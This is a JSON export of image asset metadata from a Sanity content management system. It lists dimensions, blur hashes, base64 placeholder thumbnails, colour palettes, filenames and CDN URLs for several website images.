{"_createdAt":"2024-08-23T06:50:29Z","_id":"image-d57fb4526b4ffff1f8ef5c480a80371f0d449492-1616x1090-png","_rev":"SKT8L9nELcBha4cgKYqVrL","_type":"sanity.imageAsset","_updatedAt":"2024-08-23T06:50:29Z","assetId":"d57fb4526b4ffff1f8ef5c480a80371f0d449492","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VIGbuG4n_MR*N1D*j@IVayt600t5ICoLjW-;xu%LofNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4825688073394496,"height":1090,"width":1616},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAAEJUlEQVQ4jW2QfTDbdwCHv6xe+2IUXUJoaNBFGIkqpa3pcd5ajUvRNUGYxkurzrrWra3bOK27arth64vVdbdZ43o2o0IptjURiyUqLyRbXqSJvJD8Ir+8sF39drrbf/vjufv89dznHuDinQsAIAIA8ACAJOC2Mxf4Y8qAuw8ZFFGbQVs7E/QyJ8HDR6PgBZsPiMm1AI09tS02gYGNSajKwkaVFAUEFxbuRlPSdqML3gHYqFJXPzTFzcv3uLvPHrJbCI76VvLRBuAfTHGNjKnwjT1QjXsvsSaaQGLgIwjl2ODw015+qByvAym1GanpDfeISbUsXDR9CIM7cz0guCAehO0vwRFIjMyw/aVFfmgKeYd/PtHbL8d7V0C2R1Rs+dGElPM3Dh6u+yaGxOjZG0m77IciR2LCsryz8xvTKKeb2wuKmx/nkq/1ZuQ2XjuW9VEciCZWFKemN/SSDp2bxUaVTAZiTl3yQ+UFYcJztienXaBk51/9KbegSXg44+O52MTqr8PfpSZU11zaPjQ8lTL182wLZ3q+57dZSQ9fIG0WS+THAK2yrZpR3zVRVdehKWe0yxi1d7quNN2NudzYtutWx4/5D7rHvu/uHGZ/1T7wa1fn0+6u+0NH+vr6fVUqJUWv102aTCYtDMPLDodj2m63XQRMFvcic0zAGWcLdb/zJRrJgoIllcrzWMPjgSKp4YxUYGBLHs/rpd/y9XLeMmfhjxXq84kXKLVaTTMYjBKz2YzY7XZkfX19yW63XwfP5mSfskRLi2K1/m8zBP1ls8GiVaOBzhkdwcgUpkoZf0X6skeAiO/zEDlXp5TJTXXssfGQZY2aZjKZRBAEvd4SbmxsKB0ORyuYFMpani8uKaRaI7JmtSJOh0NmNhrOcn9g7uXNys9yp9WLvwwsbHIGFjZ5HLWCx1NcYPf3YfUadQkEQSKLxbJps9m2Hv4rFMn+bJIuvRIvG1fWYdjmdDqd85Bplf7dg0eYtptPKtu/eCq73TmCfP7lM+RWJ0t14+aTuoddPSFGvY5msVi2hK9hGEacTqfSbre3ArFIVKRUKDq0Gk3fysoK02yG7uj1uvTyyqY9B4/UlWYev8o/WdhizS9sgTPyrogSU88zqs61BhkMeqrJZBJDEIRYrdatjqo3DVksVhB3ZgYvEAjihUJhnFAoxHO5bH9C3MkdoRHFhwmkys9Ih2rvEpNq7uHjP2xFYynvl5Z/EqDRvDphNBoHzWazZG1tbQGG4XGr1VoPAAAu/wPw2ol3DcWRfSKiqSERBFo4LpoWvg//QWhAUPbb9Ip6z7m5uX0qleqEVqul6XS6LQqUSiURIAgCVldXgdPpfLP/Y3KQDKZmEDAysQyGRhVgcEQO+gcVYPolAlCoQJfMzMxtdDrdo6qqypPBYHiWlZV5ZGVluf8DmcUz6lwjSS4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#31355e","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c144f","foreground":"#fff","population":6.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c144f","foreground":"#fff","population":6.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2a2d6","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f091d5","foreground":"#000","population":0.1,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#638eaf","foreground":"#fff","population":0.28,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7368a","foreground":"#fff","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"diagram-change-data-capture.png","path":"images/sczeoy4w/production/d57fb4526b4ffff1f8ef5c480a80371f0d449492-1616x1090.png","sha1hash":"d57fb4526b4ffff1f8ef5c480a80371f0d449492","size":109708,"uploadId":"ufTkUro8thvwGIAXP6yOsZmHBj3fTxXp","url":"https://cdn.sanity.io/images/sczeoy4w/production/d57fb4526b4ffff1f8ef5c480a80371f0d449492-1616x1090.png"} {"_createdAt":"2024-02-12T14:11:51Z","_id":"image-d5a48d3323de63291f5e7cbef0d321506ee8e838-512x512-jpg","_rev":"an7gD8zjUNPtFwnayb2hgb","_type":"sanity.imageAsset","_updatedAt":"2024-02-12T14:11:51Z","assetId":"d5a48d3323de63291f5e7cbef0d321506ee8e838","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eMKdi1%L_NtRxG?FbctSRjRQI;e.nOt7X8kqfkenjZkCxtRkR*ofWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":512,"width":512},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAYEB//EACEQAAEEAgICAwAAAAAAAAAAAAEAAgMEBRESMQYhE1Fh/8QAFgEBAQEAAAAAAAAAAAAAAAAAAgME/8QAGhEAAwADAQAAAAAAAAAAAAAAAAECAxExcf/aAAwDAQACEQMRAD8A6Zm+TZ7hj0Hgu0T0Fz3CXs/H5TBFPO23Qn3z03XA/itc/ko4LvxTjclh5aPranahmq3A5wDXtd6YD2Fnc02mjVDhS1XS3aBr2iwwZOu+MF7uDui0olpkiI84yNiPK0HNLdvkJOwtmMJfXfYeeUpPZREsYsnF4aNcvZ7KIioSP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c4635","foreground":"#fff","population":2.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#612e23","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4bab1","foreground":"#000","population":17.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bab1","foreground":"#000","population":17.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dba99d","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#957369","foreground":"#fff","population":11.72,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc8474","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"mikhail.jfif","path":"images/sczeoy4w/production/d5a48d3323de63291f5e7cbef0d321506ee8e838-512x512.jpg","sha1hash":"d5a48d3323de63291f5e7cbef0d321506ee8e838","size":28050,"uploadId":"MHxDnFiNhOX0c2t45PcufHNy5YQGwX3a","url":"https://cdn.sanity.io/images/sczeoy4w/production/d5a48d3323de63291f5e7cbef0d321506ee8e838-512x512.jpg"} {"_createdAt":"2023-01-10T07:57:27Z","_id":"image-d5b0f8ee73e70295a68962b67a060054bc84b2f8-752x405-jpg","_rev":"Z39vf97kTT8utJKfKV4Epd","_type":"sanity.imageAsset","_updatedAt":"2023-01-10T10:28:09Z","altText":null,"assetId":"d5b0f8ee73e70295a68962b67a060054bc84b2f8","description":"The UK Houses of Parliament","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MpP6U9*0w|nOOY?vITRjkCs;F{rDozo#i_","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAcIBAb/xAAkEAABBAEDAwUAAAAAAAAAAAABAAIDBCEFBhEHEjITFCMxQv/EABYBAQEBAAAAAAAAAAAAAAAAAAMCBf/EACARAAICAgAHAAAAAAAAAAAAAAECAAMEEQUSMUJScaH/2gAMAwEAAhEDEQA/AKJdVZkl8nH35Lk9zbvj0WQU6sbpbJb3AvOOFt3ranqbesS1pXRyB4AcDlIuWzNY1SaaeV8kgbhzjyovDspFZ0Y2M1aWBrV5gD0jPrdTHMj7blIeqD+HY4Qp31nUbfvT87/EIQhb/P5NMZXD+6g79z//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3b3820","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#823102","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9552c","foreground":"#fff","population":12.73,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#accccc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9552c","foreground":"#fff","population":12.73,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#987080","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb6309","foreground":"#fff","population":0.44,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":[{"_ref":"Y8XrsvoJ4zglb1hB5GH1gM","_type":"reference","_weak":true}]}},"originalFilename":"GOV_UK_ABM_blog.jpg","path":"images/sczeoy4w/production/d5b0f8ee73e70295a68962b67a060054bc84b2f8-752x405.jpg","sha1hash":"d5b0f8ee73e70295a68962b67a060054bc84b2f8","size":66065,"title":"We are on G-Cloud-13","uploadId":"hp1IUefNzlVBo7KoL2SO6htzY1Lg8BqF","url":"https://cdn.sanity.io/images/sczeoy4w/production/d5b0f8ee73e70295a68962b67a060054bc84b2f8-752x405.jpg"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-d5c8f4b2776a70758af309e9979e64798c9f43a9-750x221-png","_rev":"QRl2cGoCgj0FlAhkRrhcOX","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:20Z","assetId":"d5c8f4b2776a70758af309e9979e64798c9f43a9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D042P9$SwO%yw5^m%e%fvm%e","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.3936651583710407,"height":221,"width":750},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABA0lEQVQYlU2P62rDMAyF8xb1TbJkJ0ubFEZgbND3f636DCnt2I8PSzq6HE/HVZ4/X8d4PB44jmOs64re+x/zPGNZFsfid836tm3Dvu+43+/+3rYNE5f4lMpDVcHMI+eMFCNijLBYRLDY0nmG1IqcE1JKrhWjFIcK2TymGMMzpThS8iUjhIBwuTgxBFApUKnQWkEle+2t/yeG4EcmJnKHIhWVadgCohclg0sBs123/KxVKmDKoHzqlQhMhGoOmcpTpQ5VsS8NYYZqxSs/MYdS4VqrmPeOvqoZcOddFU3E44nLubCpWmGY0Juit+aNjsWt+VC7Nnx83zB/Ln6oVetv8HkR/AL3sKQcRRSDagAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#58453c","foreground":"#fff","population":0.18,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#401004","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#58453c","foreground":"#fff","population":0.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6cabc","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8fd99e","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#58a36d","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#95642d","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d5c8f4b2776a70758af309e9979e64798c9f43a9-750x221.png","path":"images/sczeoy4w/production/d5c8f4b2776a70758af309e9979e64798c9f43a9-750x221.png","sha1hash":"d5c8f4b2776a70758af309e9979e64798c9f43a9","size":10592,"uploadId":"2v3V4OLuh52ZfAB7mVDEYQL8gBnvbv8P","url":"https://cdn.sanity.io/images/sczeoy4w/production/d5c8f4b2776a70758af309e9979e64798c9f43a9-750x221.png"} {"_createdAt":"2024-01-24T01:37:47Z","_id":"image-d5d752822d5566b232d77d67cecec642da49e2e8-800x800-jpg","_rev":"VeNKqGNmt13PzvGhqkbib6","_type":"sanity.imageAsset","_updatedAt":"2024-01-24T01:37:47Z","assetId":"d5d752822d5566b232d77d67cecec642da49e2e8","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eiIO5]t8K2ofni?cxuV[ofbH_Nt7%1ofWB%gj[V[juWB?Hj[j?j[W:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":800,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcGBf/EACUQAAIBBAEDBAMAAAAAAAAAAAECAwAEBREGBxMhEhUiMVFh0f/EABYBAQEBAAAAAAAAAAAAAAAAAAQCA//EABsRAAIDAAMAAAAAAAAAAAAAAAACAQMRIjFR/9oADAMBAAIRAxEAPwDbv1se9uhBh8Z3GdCE7ja+f8rm3PUvltjaSS5KG0CE/FofJU/g/qojxfMR+7iOSymVHQgMu9g6rUX9yq4ycR2c8srIFVQxfbUdmdZiBNNStUzT2d6+6nciuZ+6ZUHqHgAfVKnXqyigD2uYaH0VNKnLAmFg5fZ2uDxiz4y3ihlOgWC7JFZ/jOTnkzcMYEaI/lgq63SlR4OSeLFFs+3eRGSeCJnDFd+nXgUpSo0zP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#404a31","foreground":"#fff","population":6.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#843c2c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9b7162","foreground":"#fff","population":7.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbab99","foreground":"#000","population":5.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d19187","foreground":"#000","population":2.35,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9b7162","foreground":"#fff","population":7.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9394a","foreground":"#fff","population":0.15,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"MauriceHeadshot.jpeg","path":"images/sczeoy4w/production/d5d752822d5566b232d77d67cecec642da49e2e8-800x800.jpg","sha1hash":"d5d752822d5566b232d77d67cecec642da49e2e8","size":137898,"uploadId":"4bEYW0k3a0FJa5ZTEoVtNr6VIlUIM7iE","url":"https://cdn.sanity.io/images/sczeoy4w/production/d5d752822d5566b232d77d67cecec642da49e2e8-800x800.jpg"} {"_createdAt":"2022-07-08T09:55:47Z","_id":"image-d5d8831cbaf28c5b1dea19caab405ec714b9091d-640x360-jpg","_rev":"0HOthdQkSgJdYc0CAbx56N","_type":"sanity.imageAsset","_updatedAt":"2022-07-08T09:55:47Z","assetId":"d5d8831cbaf28c5b1dea19caab405ec714b9091d","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"McG+5dNHRiR*xa_4xat7j[NG?vxaWCoKfl","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":360,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUHBP/EACQQAAEDBAICAgMAAAAAAAAAAAECAxEABAUGIVESMQcTMkFh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAbEQADAAIDAAAAAAAAAAAAAAAAAQIDESIyUf/aAAwDAQACEQMRAD8AwY75W2Mulq+8FED2I5PVN39x2Rh9g3pSgOp8kNjif5PdSnVTG0/WPwCZCTzzVL3FIcwTiliVNthSD+0nsUTt+iqUPbTPZ+7ZDqiGJJhB5gUVMtay1+nGAC6dgKPsz1RUdZcib5MeZjXU/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#665535","foreground":"#fff","population":4.41,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e1604","foreground":"#fff","population":0.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8e7456","foreground":"#fff","population":7.68,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8cfdd","foreground":"#000","population":7.57,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c69b61","foreground":"#000","population":0.42,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e7456","foreground":"#fff","population":7.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d0ac64","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"d5d8831cbaf28c5b1dea19caab405ec714b9091d-640x360.jpg","path":"images/sczeoy4w/production/d5d8831cbaf28c5b1dea19caab405ec714b9091d-640x360.jpg","sha1hash":"d5d8831cbaf28c5b1dea19caab405ec714b9091d","size":45528,"uploadId":"qKsliJS6CcGKTYsnT6JiNVXyu1KBxazd","url":"https://cdn.sanity.io/images/sczeoy4w/production/d5d8831cbaf28c5b1dea19caab405ec714b9091d-640x360.jpg"} {"_createdAt":"2023-11-16T14:47:04Z","_id":"image-d5f1a09202c27f936aef57e9b2912c471667d2f9-5515x2736-png","_rev":"dOMrb3WT8gTjpaOTALHwyS","_type":"sanity.imageAsset","_updatedAt":"2023-11-16T14:47:04Z","assetId":"d5f1a09202c27f936aef57e9b2912c471667d2f9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8SF@WMv0nx?03?v9vE2ItS6~p0N8^02aI","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.015716374269006,"height":2736,"width":5515},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABVUlEQVQokZVRy07DMBD0t/IJXODAhb/gjsQVIcQFUeDEseWhNg1JFWgpbRM73cR2XL/WKC0ghACJOe5qZnZnyPbpcO8iu85AaIuI4T8gOyeD/fO0kxSlkNaaf/FJZ5hfxnn0yqY0L2uwdu3/pwSGdo8YiNS2lroAyPLplC0aKa1URiqjzQbWWu/9V7JyIZdhLgJBRO+9VA2tYMlrVXPxNGejl2KRFwWllHLOtW6VPtUS5o/6eNBD0p6BaKxVjVKrlRZNlU0n93EaJ49JkqbpbDbja5RlCQBcqpuJ273yW2eudXbONU1T17VSyhkrlvA8yuI4jobDKIrG47EQQkrJGAMAtdIZ4HGMhw+OVADleso5N6ZN2xhTVRVjjFJaFAUAGGOcc5vjEVG7sFSBNUjiKBr0+4zS95zXX3jv3Qe899/626TtMZC73m2v2y0Z+6GSD63fCnsDVoc6Zfgope0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#366575","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c4c74","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0a82df","foreground":"#fff","population":2.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4babb","foreground":"#000","population":1.92,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#89e6da","foreground":"#000","population":0.15,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b25f7d","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a82df","foreground":"#fff","population":2.12,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"d5f1a09202c27f936aef57e9b2912c471667d2f9-5515x2736.png","path":"images/sczeoy4w/production/d5f1a09202c27f936aef57e9b2912c471667d2f9-5515x2736.png","sha1hash":"d5f1a09202c27f936aef57e9b2912c471667d2f9","size":814784,"uploadId":"4zJUlzJf0puJFw2YIjQ36SvQUzKsq48L","url":"https://cdn.sanity.io/images/sczeoy4w/production/d5f1a09202c27f936aef57e9b2912c471667d2f9-5515x2736.png"} {"_createdAt":"2024-03-13T11:13:05Z","_id":"image-d613b1129c8bdd8a1df2bd2d95c93f1afcedae90-206x134-svg","_rev":"rAWuI3yYduKRvZqckJrIC7","_type":"sanity.imageAsset","_updatedAt":"2024-03-13T11:13:05Z","assetId":"d613b1129c8bdd8a1df2bd2d95c93f1afcedae90","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V40A0LkcfAekZ_f-fmfkf4f4Z_aFfhf:kcaae+f5f-f.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.537313432835821,"height":134,"width":206},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAByElEQVQ4jcWSzWsTQRiHn8lmaTRpZ5PdmW2bVI0hTZuYVATxA5rEzAYPGluUqkEoFFq89OBFijchqEgPevPgpXjxUk+iYK/iScWT4k3/EiOx2xgQtAWhLzzM/Bjmx/sF/zvk8rd/8H1vhg5nkQ+7SP8Bjn8f5/QLZPsjVmEFUlWEDkCZ3eOwQuqX8TIObZzxdeTCByLZ65Ca3buhPPcaGWwhT21G5IW3SXn1ky8Xv8ZwzwhUYKGbFspEBtjRYkCL34atd8heL6efJmX1ZV1efj8nF78UosVVB7c2KnQzjTJjKKPDs4cfMooyGZSRfVM3t4FT2rBGco8Lw5UnS4nG5mq89ep8tHQrj1srCt08jjIVlJlGmWMoU0SZAsqUUWYmfNNhtqArb0iWnlnx7L187MjaFXtq7YZ9olO3Jm8exq2n0cFEmMU4yqTDz154z4Q6tl1yAFONLm7xOQcO3YlbY0sTwl84KtJtJTLXhlANGx3YaBNF9Ymggp3eWdul9gYXDu9g9i6J3DqTsz9gZAYSVdFbp6GTHXBrCN0E/ffJikEdz3YYzj/CL2/1dzP/uYtdvg1ufZdrM5AhXgu8i6DmwZsD79Kf7Gf8BGFmby9j81YPAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4460","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d1f74","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1067e9","foreground":"#fff","population":0.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#093f8f","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82b1f6","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#405470","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1067e9","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Zeotap (1).svg","path":"images/sczeoy4w/production/d613b1129c8bdd8a1df2bd2d95c93f1afcedae90-206x134.svg","sha1hash":"d613b1129c8bdd8a1df2bd2d95c93f1afcedae90","size":2357,"uploadId":"wXhxYWI99yZBx0TDe4EHh1pz8GIcntYt","url":"https://cdn.sanity.io/images/sczeoy4w/production/d613b1129c8bdd8a1df2bd2d95c93f1afcedae90-206x134.svg"} {"_createdAt":"2022-06-15T20:02:05Z","_id":"image-d61b512fa04c3af4effbaac24a0139bda9eede7b-1567x844-jpg","_rev":"cEPH2uRN58AU2lp9QO80hl","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:50Z","assetId":"d61b512fa04c3af4effbaac24a0139bda9eede7b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MUQSh@?wTdIA?HbyNGbXsmWF?vIAVYtRS#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYEBQcI/8QAJBAAAgEDAwMFAAAAAAAAAAAAAQMCAAQFBhFxEhMxFSFCUWH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAQT/xAAcEQACAgIDAAAAAAAAAAAAAAABAgARIcEDEqH/2gAMAwEAAhEDEQA/AOhGKcmbbhdw2e/uFHxxSTqjVGax92yM1dqy6err+Q/K0OER3Gc/dU2sLO3ucK6L1RmCY+eaJnLkKJqSuNWsA6kPSGpPUMGp21zIgmMjNZB3FFMuPtkqtFwWuMYgDYDiip3IwB7DIvOp/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474d53","foreground":"#fff","population":0.45,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#192a5e","foreground":"#fff","population":3.87,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#192a5e","foreground":"#fff","population":3.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4ccac","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc64a4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#69a49e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8570c","foreground":"#fff","population":1.05,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"d61b512fa04c3af4effbaac24a0139bda9eede7b-1567x844.jpg","path":"images/sczeoy4w/production/d61b512fa04c3af4effbaac24a0139bda9eede7b-1567x844.jpg","sha1hash":"d61b512fa04c3af4effbaac24a0139bda9eede7b","size":95149,"uploadId":"3PtMYOF5wRWTN8xANFBCCNUGPLNQIjXm","url":"https://cdn.sanity.io/images/sczeoy4w/production/d61b512fa04c3af4effbaac24a0139bda9eede7b-1567x844.jpg"} 